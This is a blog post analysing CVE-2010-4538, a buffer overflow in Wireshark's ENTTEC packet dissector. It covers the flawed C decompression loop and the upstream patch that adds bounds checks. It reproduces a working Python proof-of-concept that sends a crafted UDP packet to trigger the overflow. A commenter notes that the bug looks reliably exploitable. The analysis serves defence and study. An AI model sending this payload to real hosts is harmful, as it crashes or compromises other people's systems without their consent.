xorl %eax, %eax

CVE-2010-4538: Wireshark ENTTEC Buffer Overflow

with one comment

This vulnerability was reported by “non-customers crew” and it affects 1.4.2 and probably other releases too. The susceptible code can be found at epan/dissectors/packet-enttec.c where the ENTTEC packet dissector resides. Here is the buggy routine:

static gint
dissect_enttec_dmx_data(tvbuff_t *tvb, guint offset, proto_tree *tree)
{
   ...
        static guint8 dmx_data[512];
        static guint16 dmx_data_offset[513]; /* 1 extra for last offset */
   ...
        if (length > 512)
                length = 512;

        if (type == ENTTEC_DATA_TYPE_RLE) {
                /* uncompres the DMX data */
                ui = 0;
                ci = 0;
                while (ci < length) {
                        v = tvb_get_guint8(tvb, offset+ci);
                        if (v == 0xFE) {
                                ci++;
                                count = tvb_get_guint8(tvb, offset+ci);
                                ci++;
                                v = tvb_get_guint8(tvb, offset+ci);
                                ci++;
                                for (i=0;i < count;i++) {
                                        dmx_data[ui] = v;
                                        dmx_data_offset[ui] = ci-3;
                                        ui++;
                                }
   ...
                dmx_data_offset[ui] = ci;
        } else {
   ...
        return offset;
}

So, if it’s dealing with a ‘ENTTEC_DATA_TYPE_RLE’ type of packet, it will enter a ‘while’ loop that will iterate as long as ‘ci’ is less than the packet’s length. Inside that loop we see that ‘ui’ is temporary used when a ‘0xFE’ Byte is encountered to enter a separate ‘for’ loop and update the dmx_data[] and dmx_data_offset[] arrays.
However, dmx_data[] array has a static size of 512 Bytes and that’s why length isn’t allowed to be greater than this value but since there is no check for such cases in the copy loop above, a user could continue writing beyond buffer’s boundaries resulting in a buffer overflow. The patch to fix this bug was to add the missing check in the initial ‘while’ loop like this:

-		/* uncompres the DMX data */
+		/* uncompress the DMX data */
 		ui = 0;
 		ci = 0;
-		while (ci < length) {
+		while (ci < length && ui < 512) {
 			v = tvb_get_guint8(tvb, offset+ci);

As well as the secondary ‘for’ loop…

 				ci++;
-				for (i=0;i < count;i++) {
+				for (i=0;i < count && ui < 512;i++) {
 					dmx_data[ui] = v;

The “non-customers crew” also provided a PoC Python script which you can find here and it can be used to trigger the vulnerability.

#!/usr/bin/env python

# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC
# by non-customers crew in 2010
# http://rock-madrid.com/

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  sys.exit(2)

port = 3333
addr = (host, port)

data  = "ESDD\x10\x20\x04"
data += "\x00\x0c"
data += "\xfe\xff\x41"
data += "\xfe\xff\x42"
data += "\xfe\xff\x43"
data += "\xfe\xff\x44"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  sys.exit(1)

udps.close()
sys.exit(0)

Written by xorl

January 6, 2011 at 12:24

Posted in bugs

One Response

Subscribe to comments with RSS.

  1. Interesting bug. That said, I’m disappointed that the non-customers crew didn’t bother to go any further with exploitation. It looks like it would be highly reliable. Maybe I’ll get around to playing with it more soon.

    jduck

    January 6, 2011 at 19:56


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s